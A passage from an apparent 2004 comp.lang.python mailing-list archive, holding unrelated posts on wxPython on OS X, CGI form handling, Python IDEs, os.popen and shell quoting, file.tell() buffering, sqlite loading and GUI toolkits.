get running the script normally: > > [1.4226769044669085, 1.3523785844290266, 1.3683993356697575] > [1.267016338668741, 1.2757789048608128, 1.2636061287118894] For the record, which Python version ? From desiredusername at gmail.com Sat Sep 25 10:05:15 2004 From: desiredusername at gmail.com (PhysicsGenius) Date: 25 Sep 2004 07:05:15 -0700 Subject: Clickable (wx)python app in OS X Message-ID: <26658f61.0409250605.32f18ba2@posting.google.com> AAAAARRRRRRRRGGHGHGHGHGHGHGHGHGH!!!!!! I hate Macs. I have a wxPython program. It runs fine on OS X when I launch it from the Terminal ("pythonw appname.py") . The user wants to be able to click it. Two main suggestions on the Internet, neither of which works: 1) "Use Platypus" So I download it, upgrade Stuffit, install both, figure out how to use it, create an app....and it doesn't work for graphical apps. Nice to know, thanks for telling me ahead of time! 2) "Just associate .py files with PythonInterpreter". Sounds easy! So I navigate to appname.py, Get Info, Open With, navigate to PythonInterpreter....WhereTF is "PythonInterpreter"? Not on the OS X system anywhere and Google only finds a Python module. So, how do I create a clickable icon that will launch my wxPython program? From cbfalconer at yahoo.com Tue Sep 7 15:42:46 2004 From: cbfalconer at yahoo.com (CBFalconer) Date: Tue, 07 Sep 2004 19:42:46 GMT Subject: Xah Lee's Unixism References: <slrncj1745.t5q.amajorel@atc5.vermine.org> <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> <413daee5$0$6932$61fed72c@news.rcn.com> <p0nkhc.m6j.ln@via.reistad.priv.no> Message-ID: <413E07BA.F797BD3B@yahoo.com> Morten Reistad wrote: > <jmfbahciv at aol.com> wrote: >> Morten Reistad <firstname at lastname.pr1v.n0> wrote: > ... snip ... >>> >>> TCP/IP was launched in 1982, and the Internet (or the Arpanet, >>> rather) converted Jan 1st 1983; with final NCP service turned >>> off everywhere by mid march 1983. >> >> Aha! Whew! Then my memory isn't completely gone. If it was >> launched in 1982, then they had to have been yakking about it >> in 1980 and 1981. > > The period 1978-1982 was the intense design phase of the > infrastructure of the modern Internet. It would have been on > the mind of IT engineers worldwide. Back in those days (early 70s) we hired a consultant for some of our software development, both because I was overloaded and because I didn't know enough. He was Gerry Ogdin, out of the Washington area, and active in the development of the Arpanet. I learned a good deal from him, and managed to largely ignore his irascibility etc. That may have been connected with the fact that he later (so I have been told) underwent a sex change operation and became Geraldine. I wonder what became of him/her. -- "I'm a war president. I make decisions here in the Oval Office in foreign policy matters with war on my mind." - Bush. "If I knew then what I know today, I would still have invaded Iraq. It was the right decision" - G.W. Bush, 2004-08-02 From s4046441 at student.uq.edu.au Thu Sep 30 15:03:05 2004 From: s4046441 at student.uq.edu.au (Shufen) Date: 30 Sep 2004 12:03:05 -0700 Subject: How can I code to get more than One value from checkbox? Message-ID: <d3502feb.0409301103.2a39e53a@posting.google.com> Hi, I'm a newbie that just started to learn python, html and etc. I have some questions to ask and hope that someone can help me on. I'm trying to code a python script (with HTML) to get values from a html form that consists of about 10 checkbox and a textbox where user have to key in a value to perform a search. >From python tutors, I learned that I have to use the following method: ### qtype = data.getfirst('qtype') ---- checkbox name qtext = data.getfirst('qtext', '') ---- textbox name ### but I don't really know how to do it. Should I use qtype = data.getlist('qtype') to get the value from the checkbox and how to? Currently, my method required me to type in every possible combination of the checkbox and I know that this is wrong. I wanna to include %(qtype) in my query statement so that the script will look for the value that contain qtype everytime a form is processs but the way I'm doing now is wrong. query = "select %(qtype)s from shot_descriptions where shot_number=%(qtext)s", qtype, qtext Thus, can someone help me on this. Thank you for any help. Shufen From steven.bethard at gmail.com Wed Sep 15 02:40:42 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Wed, 15 Sep 2004 06:40:42 +0000 (UTC) Subject: i am going to get crazy!!! References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com> <1095228220.28128.71.camel@devilbox.devilnet.internal> Message-ID: <loom.20040915T083759-964@post.gmane.org> Cliff Wells <clifford.wells <at> comcast.net> writes: > > I don't know if this is any good, but since you like Eclipse: > > http://sourceforge.net/projects/pyeclipse/ Actually, if you like Eclipse, I'd suggest pydev: http://pydev.sourceforge.net/ It's actually still updated from time to time (last in July of this year), and I've played around with it a little back when I had to write in Java (ugh!) and it did integrate pretty well with Eclipse. If I remember right though, it doesn't use the code-completion that all the wxPython based apps do... Steve From my.spamtrap at verizon.net Tue Sep 7 00:44:03 2004 From: my.spamtrap at verizon.net (Roland Hutchinson) Date: Tue, 07 Sep 2004 00:44:03 -0400 Subject: Xah Lee's Unixism References: <slrncj1745.t5q.amajorel@atc5.vermine.org> <413af268$0$19706$61fed72c@news.rcn.com> <rv1hhc.mtv2.ln@via.reistad.priv.no> <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> <opsdxecgt8pqzri1@mjolner.upc.no> <Pine.LNX.4.61.0409062355010.20478@ppepc56.ph.gla.ac.uk> Message-ID: <2q4skjFrb6p1U1@uni-berlin.de> In article <Pine.LNX.4.61.0409062355010.20478 at ppepc56.ph.gla.ac.uk> on Monday 06 September 2004 18:55, Alan J. Flavell wrote: > On Tue, 7 Sep 2004, John Thingstad wrote: > >> It was the realization of www (CERN) that spawned the movement toward the >> Internet. > > Eh? A simple case of cart/horse inversion, methinks. -- Roland Hutchinson Will play viola da gamba for food. NB mail to my.spamtrap [at] verizon.net is heavily filtered to remove spam. If your message looks like spam I may not see it. From miki.tebeka at zoran.com Wed Sep 1 07:11:54 2004 From: miki.tebeka at zoran.com (Miki Tebeka) Date: Wed, 1 Sep 2004 13:11:54 +0200 Subject: generic tokenizer In-Reply-To: <6t3Zc.37294$A8.12593@edtnps89> References: <6t3Zc.37294$A8.12593@edtnps89> Message-ID: <20040901111154.GW2116@zoran.com> Hello Angus, > I remember python having a generic tokenizer in the library. all I want > is to set a list of token seperators and then read tokens out of a > stream, the token seperators should be returned as themselves. > > is there anything like this? There are external lex/yacc like packages (like PLY http://systems.cs.uchicago.edu/ply/). But maybe you're talking about shlex (http://www.python.org/dev/doc/devel/lib/module-shlex.html) HTH. -- ------------------------------------------------------------------------ Miki Tebeka <miki.tebeka at zoran.com> http://tebeka.spymac.net The only difference between children and adults is the price of the toys From matt.torment at gmail.com Mon Sep 13 23:06:26 2004 From: matt.torment at gmail.com (Matthew K Jensen) Date: 13 Sep 2004 20:06:26 -0700 Subject: yet another os.popen quesion Message-ID: <a8dfce8c.0409131906.fc42dc8@posting.google.com> I've been trying to find a way to detect when a command run by os.popen (or similar) has completed (in Windows, btw). I found such a function (i don't remember the exact name and library), but the said function was only availible for UNIX, for which I am not currently making programs for (but soon plan to). Any ideas? -Matt K. Jensen From nytimes at swiftdsl.com.au Fri Sep 17 12:13:19 2004 From: nytimes at swiftdsl.com.au (huy) Date: Sat, 18 Sep 2004 02:13:19 +1000 Subject: Python Webstart ? In-Reply-To: <mailman.3460.1095435595.5135.python-list@python.org> References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> <mailman.3460.1095435595.5135.python-list@python.org> Message-ID: <414b0d22$0$2414$61ce578d@news.syd.swiftdsl.com.au> Carlos Ribeiro wrote: > On Fri, 17 Sep 2004 21:43:04 +1000, huy <nytimes at swiftdsl.com.au> wrote: > >>Hi, >> >>Just wondering if there were any plans (or existing projects) similar to >>Java webstart for Python. I think this would be a boon for python. I >>would love to start my new project using Python but the deployment (and >>long term upgrading) factor is a major itch which pyfreeze and py2exe >>just doesn't scratch properly. > > > I sincerely don't understand why a Python Webstart would be more > useful than pyfreeze and py2exe. If you're talking about some way for > people to test your application without the need to install it, I can > get it, but still I don't think that it's worth it. Remember -- the > JVM is a near standard part of modern browsers, so it's relatively > safe to assume that a lot of people (those using modern GUI browsers) > will be able to test your program. But the Python VM is not designed > to work like that; in the end, the user still would need to download > some client library (a PyVM-plugin for browsers of sorts), which > pretty much defeats the point of the Python Webstart. Well not really. I don't mind doing one installation of a (Python/Java) webstart. However, it's the automatic update of the actual application software which I find most useful. The alternative using p2exe or pyfreeze will require me to distribute the (potentially large) binaries manually. For hundreds of terminals, this is not gonna be good, especially in an iterative environment. > If you *really* want to program in Python and have it working with > Webstart, why not do it using Jython? Once compiled, a Jython program > is undistinguishable from a Java app -- both are meant to run under > the JVM. I don't know if anyone did it before, but running Jython > programs as Webstart applications should be possible, if not > automatic. That's an option but I don't quite trust using jython for a full blown application. I use it mainly for unittesting at the moment. Thanks for the feedback, Huy From martin at v.loewis.de Tue Sep 21 14:40:09 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 21 Sep 2004 20:40:09 +0200 Subject: Help needed: Unicode and file format problem In-Reply-To: <41506e20$0$19027$39db0f71@news.song.fi> References: <41506e20$0$19027$39db0f71@news.song.fi> Message-ID: <41507589$0$24809$9b622d9e@news.freenet.de> Pekka Niiranen wrote: > In other words I have to open target file like this: > fileObj = codecs.open( "File_to_be_modified", "w", "utf-8" ) > and then run Unicode regular expression to it, where read > replacements are bytes that must be written out as UTF-8 strings. You need to read the file into a unicode string, perform the replacement, then write it back out as UTF-8. Something like this: infile = codecs.open( "File_to_be_read", "r", "utf-8" ) outfile = codecs.open( "File_to_be_written", "w", "utf-8" ) regexp = re.compile("some_expression", re.U) for line in infile.readlines(): line = regexp.sub(new_text, line) outfile.write(line) HTH, Martin From nick at craig-wood.com Wed Sep 29 11:30:21 2004 From: nick at craig-wood.com (Nick Craig-Wood) Date: 29 Sep 2004 15:30:21 GMT Subject: Avoiding shell metacharacters in os.popen Message-ID: <slrncllk2p.m4f.nick@irishsea.home.craig-wood.com> I'm trying to avoid using shell metacharacters in os.popen in a portable fashion. os.popen() only seems to take a string as the command which would need tricky quoting. os.popen2() can take a string or a list - the relevant code in Unix python (in popen2.py) being... def _run_child(self, cmd): if isinstance(cmd, basestring): cmd = ['/bin/sh', '-c', cmd] for i in range(3, MAXFD): try: os.close(i) except OSError: pass try: os.execvp(cmd[0], cmd) finally: os._exit(1) This is perfect behaviour as far as I'm concerned - if you pass a list it doesn't go through the shell and if you pass a string it does. eg w, r = os.popen2(["ls", "-l"]) r.read() This leads on to my questions :- 1) is this behaviour (string vs list) of popen2 intentional? Its not documented anywhere and it doesn't work under Windows (gives "TypeError: popen2() argument 1 must be string, not list") 2) is there anything similar for os.popen() planned? 3) is there an equivalent to the perl quotemeta() command. This quotes meta-characters in a string for use in the shell. Here is a suitable definition for Unix, but I don't think that \ quoting works in Windows cmd = re.sub(r"(\W)", r"\\\1", cmd) Avoiding shell metacharacter attacks is a must for secure programs. Python does pretty well with its os.exec* and os.spawn* functions, but seems to be lacking in the os.popen* department! Any insights appreciated! -- Nick Craig-Wood <nick at craig-wood.com> -- http://www.craig-wood.com/nick From jerf at jerf.org Sun Sep 19 22:07:43 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Mon, 20 Sep 2004 02:07:43 GMT Subject: python vs c# References: <mailman.3520.1095631846.5135.python-list@python.org> <EPmdnagKPrUPhtPcRVn-iQ@giganews.com> <mailman.3529.1095642828.5135.python-list@python.org> Message-ID: <pan.2004.09.20.23.16.13.458066@jerf.org> On Sun, 19 Sep 2004 21:13:39 -0400, julio wrote: > But why so much resistence to the change ? Why do you care? Are you being paid to care? If people come up with good answers to your questions, will you devote your personal time to helping implement them? In light of the fact the answer to that is almost certainly "no", why should we care what you think? Do you think the answers to these questions have more to do with your cool reception then "resistance to change"? Let me help you with that one: Yes. I have to say, from my point of view, you are advocating moving *backwards*. You will interpret that as resistance to change. I feel I must invoke the parable of Blub here: http://www.paulgraham.com/avg.html C# is your Blub. From nicksjacobson at yahoo.com Fri Sep 10 18:04:08 2004 From: nicksjacobson at yahoo.com (Nick Jacobson) Date: 10 Sep 2004 15:04:08 -0700 Subject: A bug with file.tell()? References: <f8097096.0409092043.3760d72a@posting.google.com> <zsc0d.2572$xA1.2297@newsread3.news.pas.earthlink.net> Message-ID: <f8097096.0409101404.27b6dfdc@posting.google.com> > > That means the underlying file handle is at > the end and everything remaining is in memory. > Thanks a lot for the reply, it explains the problem very well. But not allowing "for line in file" and read(), tell(), etc. together still seems like a bug to me. And it's true that it's documented, but the problem is buried in the documentation under next(), which is not directly called! Here's one idea: Have functions read(), tell(), etc. use the read-ahead buffer for reference, instead of the file handle. Here's another: raise an exception if calling read(), tell(), etc. when the file handle != the read ahead buffer. There has got to be a way to make these things consistent! Otherwise, if it were up to me, I would avoid the read-ahead entirely, reasoning that trading speed for buggy behavior is a bad practice... What do you think? From greg at cosc.canterbury.ac.nz Mon Sep 13 01:07:52 2004 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Mon, 13 Sep 2004 17:07:52 +1200 Subject: PEP 335: Overloadable Boolean Operators - Official Posting In-Reply-To: <10k6k1f823r64ae@news.supernews.com> References: <2qccb9Fuac61U1@uni-berlin.de> <10k6k1f823r64ae@news.supernews.com> Message-ID: <2qko9aF10i3r7U1@uni-berlin.de> John Roth wrote: > A second comment is that I think you need seven slots - the > 'rand2' and 'ror2' slots seem to be missing. If you're talking about the C-level slots, that's not a mistake. If you look, you'll find that *none* of the __rxxx__ methods exist at the C level. If the left operand doesn't define a slot for an operator, the *same* C-level slot of the right operand is called, with the operands in the same order. The implementations of these slots for user-defined classes sort this out and call __xxx__ or __rxxx__ Python methods as appropriate. > A third comment is that I think the 'and1' and 'or1' > should return either True or False, meaning 'short > circuit with the current value on top of the stack', > or 'continue with the evaluation with the current > value on top of the stack'. I'd like to see a discussion > of why this (IMO conceptually simpler) option > wasn't chosen. It's in the interests of generality. Without use cases, it's admittedly unknown whether this amount of generality will ever be needed. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From exarkun at divmod.com Wed Sep 8 11:12:03 2004 From: exarkun at divmod.com (Jp Calderone) Date: Wed, 08 Sep 2004 11:12:03 -0400 Subject: tuples allocated by formated print ? In-Reply-To: <200409081140.26869.alexander.hoffmann@netgenius.de> References: <200409081140.26869.alexander.hoffmann@netgenius.de> Message-ID: <413F2143.2030903@divmod.com> Alexander Hoffmann wrote: > Hello, > > Recently I was debugging a memory leak in my app and finally figured out that > I had to manually implement destructors for some classes. I'm not sure what this means. > While debugging I wrote a method that prints the number of instances per type > for all objects returned by gc.get_objects. I was astonished by the fact that > after perfroming a few tests with my app there were about 4000 instances of > Tuple in memory. Looking at these instances I got the feeling that they > contained the values I used in formated prints like: print ("my name is %s" % > ("alex", )) > Can anyone of you confirm that tuples constructed this way will be removed > from memory by Python automatically ? They will be. > If so, can you imagine any reason for so many tuple instances to exist (given > the fact that besides in print (...) I do not make use of tuples in my source > code) ? You probably create a lot more tuples than you think. For example: >>> class Foo(object): ... def f(self): ... pass ... >>> type(Foo.__mro__) <type 'tuple'> Also keep in mind that any module from the stdlib or a third party package that you import is creating objects of its own. These are included in any results returned by the gc module. Jp From skip at pobox.com Tue Sep 7 23:19:54 2004 From: skip at pobox.com (Skip Montanaro) Date: Tue, 7 Sep 2004 22:19:54 -0500 Subject: Slow loading of large in-memory tables In-Reply-To: <200409062214.50297.janert@ieee.org> References: <200409062214.50297.janert@ieee.org> Message-ID: <16702.31322.911448.49076@montanaro.dyndns.org> Ph> I am trying to load a relatively large table (about 1 Million rows) Ph> into an sqlite table, which is kept in memory. The load process is Ph> very slow - on the order of 15 minutes or so. Ph> I am accessing sqlite from Python, using the pysqlite driver. I am Ph> loading all records first using cx.execute( "insert ..." ). I've never used sqlite, but I have used a number of other relational databases. All I've encountered previously have some sort of "bulk load" statement that is faster than a bunch of inserts. The input file in these cases is generally some sort of TAB- or comma-delimited file. These statements are always extensions to SQL (and therefore predictably differ for each rdbms). Sqlite may have such a statement. -- Skip Montanaro Got spam? http://www.spambayes.org/ skip at pobox.com From Moiz.Golawala at ge.com Mon Sep 20 14:07:02 2004 From: Moiz.Golawala at ge.com (Golawala, Moiz M (GE Infrastructure)) Date: Mon, 20 Sep 2004 14:07:02 -0400 Subject: Python as alternative to Visual Basic Message-ID: <CE90A4CF2E5E9C4890AE5D9D8A5EFAE301189750@CINMLVEM10.e2k.ad.ge.com> I would recommend wxPython. It is cross platform and provides the windows look and feel to the UI. It is pretty easy to develop in as well. The documentation and examples are very extensive. I have used it to develop some GUIs for people who are not very computer savvy and they don't even realize that my app is written in python. Regards, Moiz -----Original Message----- From: python-list-bounces+moiz.golawala=ge.com at python.org [mailto:python-list-bounces+moiz.golawala=ge.com at python.org]On Behalf Of Aaron Ginn Sent: Monday, September 20, 2004 12:47 PM To: python-list at python.org Subject: Python as alternative to Visual Basic I'm investigating the feasibility of using Python instead of Visual Basic for a commercial software package that I'm planning on developing. Now I'm absolutely a Python zealot. I use it for most of my software development at work where I work in a Solaris environment. To me, Python is the perfect language for most applications in a UNIX environment where a compiled language is not required. However, I'm not so sure about Windows. The software package I'm developing will make calls to Excel and Access and requires a very usable GUI for users who are not particularly computer literate. My first question is: what is the best choice for a GUI toolkit on Windows? I've used Tkinter for UNIX to some degree of success, but I'm not sure this is the best choice for Windows. Second, if I choose to make the application cross-platform (Windows and Mac OS X in particular), what would be the best choice for a cross-platform GUI toolkit? I was thinking of looking at PyQt. Is there a better option? Basically, I'm trying to make a case for Python to the other developers of this software package as I believe it offers numerous advantages over VB in terms of speed of development, a quick learning curve, and maintainability. Can anyone help me make that case? Thanks, Aaron -- http://mail.python.org/mailman/listinfo/python-list From spaamrobmccreaspremoveam at adelphia.net Tue Sep 14 17:25:45 2004 From: spaamrobmccreaspremoveam at adelphia.net (Rob McCrea) Date: Tue, 14 Sep 2004 17:25:45 -0400 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: <lrmdnUYdl8VVzNrcRVn-pA@powergate.ca> References: <mailman.3261.1095106220.5135.python-list@python.org> <656g254o.fsf@python.net> <7LudnZweyKXOoNrcRVn-sw@adelphia.com> <lrmdnUYdl8VVzNrcRVn-pA@powergate.ca> Message-ID: <o_2dneOzsIpU_NrcRVn-sg@adelphia.com> Peter Hansen wrote: > Rob McCrea wrote: > >> Thomas Heller wrote: >> >>> If you work on Windows, you should really, really, really upgrade to >>> win2k, at least - even if it costs some performance on your machine. >>> >>> You can even *use* the 'dos-box' then ;-). >> >> >> In my not-at-all-humble-but-very-honest opinion, that's the worst >> suggestion I've heard in this topic. > > > As Thomas is, I'm very curious why you would say that. And > I wonder if you would say that if you replaced 2K with XP, > or whether you are just against anyone switching from 98 > to something better *if they have to work with Windows* > as Thomas clearly qualified the point. > > For the record, switching from 98 to XP has been an incredibly > helpful upgrade in my own case, and I can't think why you > would make the comment you made. > > -Peter If moving to anything after win98se, I would (of course?) suggest XP, but certainly not for a 500mHz with 64MB RAM. "if it costs some performance" is a huge understatement. And I just hate the allusion of the console window to anything close to DOS, which I can assume was not intended and Thomas even tried to avoid. My reply was biased and not at all "scientific", as I hoped my "opinion" line would indicate. Maybe my personal summary is that there are only two Windows operating systems, 98SE and XPPro; all the others have been surpassed, IMHO. And let's make no mistake, XP did also (finally) surpass 98, at a huge (yet affordable and worthwhile) cost to system resources. -- But 98 is a still a practically needed link between Windows and DOS. So you're rather astute, Peter. If he had said XP, and didn't mention "performance" since XP would almost mandate a more-than-modest system upgrade, and lastly did not mention the term "dos-box" (even if said facetiously in regards to that certain perspective of mine), I can't imagine I would have tossed out my two cent. I suppose I should mention that no disrespect at all was intended towards Thomas' sound intention, though I found the given implementation to be "really, really, really" unsatisfactory. Rock on, peace, Rob From bingham at cenix-bioscience.com Tue Sep 14 04:28:55 2004 From: bingham at cenix-bioscience.com (Aaron Bingham) Date: Tue, 14 Sep 2004 10:28:55 +0200 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: <57c312d304091315563fb93b22@mail.gmail.com> References: <mailman.3261.1095106220.5135.python-list@python.org> <ci52ar$4kq$1@newsreader.mailgate.org> <864d3709040913153679cd2461@mail.gmail.com> <57c312d304091315563fb93b22@mail.gmail.com> Message-ID: <4146ABC7.307@cenix-bioscience.com> Komodo *does* use Scintilla. M. Bitner wrote: >I don't know if Komodo uses Scintilla as the editor or not. Komodo is >primarily based on Mozilla. It does have tabbed windows for editing >and the ability to organize your files in projects. They have a 30-day >trial version if you want to try it out. > > -- -------------------------------------------------------------------- Aaron Bingham Application Developer Cenix BioScience GmbH -------------------------------------------------------------------- From brandon at ten22.rhodesmill.org Thu Sep 9 15:02:09 2004 From: brandon at ten22.rhodesmill.org (Brandon Craig Rhodes) Date: Thu, 09 Sep 2004 15:02:09 -0400 Subject: Is except: ... pass bad style? References: <pan.2004.09.09.16.26.16.985806@python.net> <m33c1rcrxg.fsf@pc150.maths.bris.ac.uk> <873c1re0am.fsf@ten22.rhodesmill.org> <87vfenclmw.fsf@ten22.rhodesmill.org> Message-ID: <87r7pbclla.fsf@ten22.rhodesmill.org> Brandon Craig Rhodes <brandon at ten22.rhodesmill.org> writes: > ...but in fact intended the first line to be > meth = getattr(myobj, method, None) ... where `method' holds the method name, of course. <sigh> -- Brandon Craig Rhodes brandon at rhodesmill.org http://rhodesmill.org/brandon From davidf at sjsoft.com Tue Sep 7 04:04:14 2004 From: davidf at sjsoft.com (David Fraser) Date: Tue, 07 Sep 2004 10:04:14 +0200 Subject: ANN: WxInter In-Reply-To: <IKCdnbjCsZtWd6HcRVn-qQ@centurytel.net> References: <IKCdnbjCsZtWd6HcRVn-qQ@centurytel.net> Message-ID: <chjq1u$1te$1@ctb-nnrp2.saix.net> Ed Suominen wrote: > WxInter is a drop-in replacement for TkInter, providing user-transparent > wxPython-based replacements for each and every part of the Tkinter class > library. Because wxPython can do anything that the ancient and stagnant > TkInter can do (but with a themable, modern window appearance), legacy code > will still run, looking better than ever, and Python's last connection to > the Tcl/TK albatross will be forever broken. > > OK, I just made all this up. But why couldn't it happen? I'd even be tempted > to code it myself, but I'm sure others with some wxPython experience could > do it much faster and better. I think its a fantastic idea, and since you thought of it, why not start? Then others can jump in. You may want to suggest this on the wxPython-users mailing list David From cbfalconer at yahoo.com Thu Sep 2 15:08:42 2004 From: cbfalconer at yahoo.com (CBFalconer) Date: Thu, 02 Sep 2004 19:08:42 GMT Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <slrncj1745.t5q.amajorel@atc5.vermine.org> <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <opsdpdzglzpqzri1@mjolner.upc.no> Message-ID: <41376DCA.B833324A@yahoo.com> John Thingstad wrote: > ... snip ... > > These peaple had more than a 100 years of experience in > developing muliuser / mutitasking operating systems between > them. The fact that the NT kernel is not entirely stable yet > really shouldn't supprise anyone. Afterall Unix has messed > with it's kernel for 30 years. But the modular arcitecture > and the microkernel are new ideas in OS design and should in > time lead to a more extensible OS than unix. The original NT (3.0) was well designed, but slow on the hardware of the time. Then MS got to work increasing module connectivity and reducing reliability. This is the usual premature optimization bug, together with planned obsolescence. The result is an unmaintainable mess. -- Some similarities between GWB and Mussolini: a) The strut; b) Making war until brought up short: Mussolini: Ethiopia, France, Greece. GWB: Afghanistan, Iraq. From antonmuhin at rambler.ru Thu Sep 23 06:44:52 2004 From: antonmuhin at rambler.ru (anton muhin) Date: Thu, 23 Sep 2004 14:44:52 +0400 Subject: up with PyGUI! In-Reply-To: <4151B7C4.6070003@zephyrfalcon.org> References: <mailman.3318.1095180577.5135.python-list@python.org> <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> Message-ID: <2rfnp6F19gkpkU1@uni-berlin.de> Hans Nowak wrote: > I'm not sure what you mean. One known issue is, that there is some > redundancy when creating a control and adding it to its parent: > > b = Button(parent, ...) > parent.AddComponent(b, ...) > > I am thinking of ways to make this simpler. One possible solution would > be to accept a 'layout' parameter: > > b = Button(parent, ..., layout={'expand': 'both', 'border': 2}) > > ....but I'm not sure that actually makes things simpler or more readable. > > It's also possible to do something like this: > > parent.Add(some_control, parameters_for_control, parameters_for_layout) > > I think this is rather ugly, and I don't like the mixing of control > constructor parameters and layout parameters. Aside from that, it's > sometimes useful or necessary to use the control before it's added to > the parent. Consider: > > from wax import * > > class MainFrame(Frame): > > def Body(self): > b1 = Button(self, text="b1") > b1.Size = (40, 40) > self.AddComponent(b1) > > b2 = Button(self, text="b2") > self.AddComponent(b2) > b2.Size = (40, 40) > > self.Pack() > > app = Application(MainFrame) > app.Run() > I beg your pardon for possibly stupid comment---I haven't practice GUI programming for a long time, especially in Python. However I mostly prefer declarative approach for the problems like that. Therefore, wouldn't it be interesting to describe the structure with class and metaclass mechanism, like: class MainFrame(FrameDescription): class b1(ButtonDescription): size = (40, 40) text = "b1" etc. with the best regards, anton. From adalke at mindspring.com Sat Sep 4 16:41:43 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sat, 04 Sep 2004 20:41:43 GMT Subject: docs on for-loop with no __iter__? In-Reply-To: <mailman.2873.1094321890.5135.python-list@python.org> References: <mailman.2873.1094321890.5135.python-list@python.org> Message-ID: <bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net> Steven Bethard wrote: > Can someone point me to the documentation on what's supposed to happen > when you use the "for x in X:" syntax when X does not have an __iter__ > method? You need to raise an IndexError > .... def __len__(self): return 42 > .... def __getitem__(self, i): return i Make that say def __getitem__(self, i): if i >= 42: raise IndexError, i return i > Obviously, the right > way to do this is with __iter__, but presumably this behavior is > documented somewhere... http://docs.python.org/ref/sequence-types.html ] Note: for loops expect that an IndexError will be ] raised for illegal indexes to allow proper detection ] of the end of the sequence. That's all I can find in the docs (searched docs.python.org for __getitem__ and IndexError ) Looking at the language reference from CVS, I found http://www.python.org/dev/doc/devel/ref/for.html It states ] The suite is then executed once for each item in ] the sequence, in the order of ascending indices. That implies the sequence is indexed, yes? But if the sequence implements __iter__ then there's no possibly no underlying idea of 'index'. Should this be fixed? Andrew dalke at dalkescientific.com From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Sat Sep 18 14:54:42 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=) Date: Sat, 18 Sep 2004 20:54:42 +0200 Subject: Math errors in python References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> <mailman.3482.1095528019.5135.python-list@python.org> Message-ID: <cii0ef$qb7$1@news-reader2.wanadoo.fr> Hi ! Many languages, yes. All languages, no. Few languages can use the DCB possibilities of the processors. @-salutations -- Michel Claveau From elbertlev at hotmail.com Sat Sep 11 00:42:42 2004 From: elbertlev at hotmail.com (Elbert Lev) Date: 10 Sep 2004 21:42:42 -0700 Subject: A bug with file.tell()? References: <f8097096.0409092043.3760d72a@posting.google.com> Message-ID: <9418be08.0409102042.62f3ed3d@posting.google.com> Here is the script. In the first part I open the file and read it line by line. In the second part I open the same file and read lines in: "for s in f:". The difference is that the second method first reads the whoole file in memory and creates the list of string. Actually you are taking strings from this list. f = file("test") fo = file("out", "w") while 1: off = f.tell() s = f.readline() if not s: break print >>fo, "%5d:%s" % (off, s) f = file("test") print >>fo, "===========================" for s in f: off = f.tell() print >>fo, "%5d:%s" % (off, s) Output: 0:blah1 7:blah2 14:blah3 21:asdf =========================== 25:blah1 25:blah2 25:blah3 25:asdf By the way, because for s if f: reads the whoole file in memory such construct is not recommended for reading large files (but is very convenient). I do not think, this is a bug. From jeff at ccvcorp.com Thu Sep 16 15:26:09 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Thu, 16 Sep 2004 12:26:09 -0700 Subject: wxPython Not Ready for Commercial Use In-Reply-To: <dcf37d82.0409160827.1de98db9@posting.google.com> References: <dcf37d82.0409160827.1de98db9@posting.google.com> Message-ID: <10kjq35q7n2q28e@corp.supernews.com> Polerio Babao Jr.II wrote: >Please correct me if im wrong. > I believe that you *are* wrong. >One big problem came into my attention. The printing support. > Printing in a reliable cross-platform way is a hard problem, which is (I believe) why the support in wxWidgets/wxPython is not up to the same level as its screen-display support. But there *are* (IMO) reasonable solutions. >But what if your client wanted to simulate the customized excel output > Presuming that you're targetting Windows, there's a couple of solutions here. Perhaps the simplest would be to use either pythonCOM or pyXLWriter ( http://sourceforge.net/projects/pyxlwriter/ ) to get Excel to handle the output for you. I suspect that either of these methods would be simpler than writing Excel-xml. >I am targetting crystal report as my ideal reporting application. > Does Crystal Reports offer a COM automation API? If so, you could use *it* directly (via pythonCOM). >... now I am trying to learn c++/qt to solve my gui and printing problem. > Seems to me that the effort involved here would be rather greater than the effort involved in customizing your printing under wxPython. And while I don't know what sort of built-in printing support (if any) QT may have, I don't think that changing languages gains you anything. (At worst, you can access the win32api printing calls directly from Python; all that using c++ would gain you is a different selection of libraries, which may or may not help very much.) Jeff Shannon Technician/Programmer Credit International From jacek.generowicz at cern.ch Wed Sep 29 03:27:56 2004 From: jacek.generowicz at cern.ch (Jacek Generowicz) Date: 29 Sep 2004 09:27:56 +0200 Subject: Metaclass with name overloading. References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch> <60dfb6f6.0409281126.48c277d9@posting.google.com> Message-ID: <tyfsm91edqb.fsf@pcepsft001.cern.ch> imbosol at aerojockey.com (Carl Banks) writes: > def alltuple(name,bases,clsdict): > return 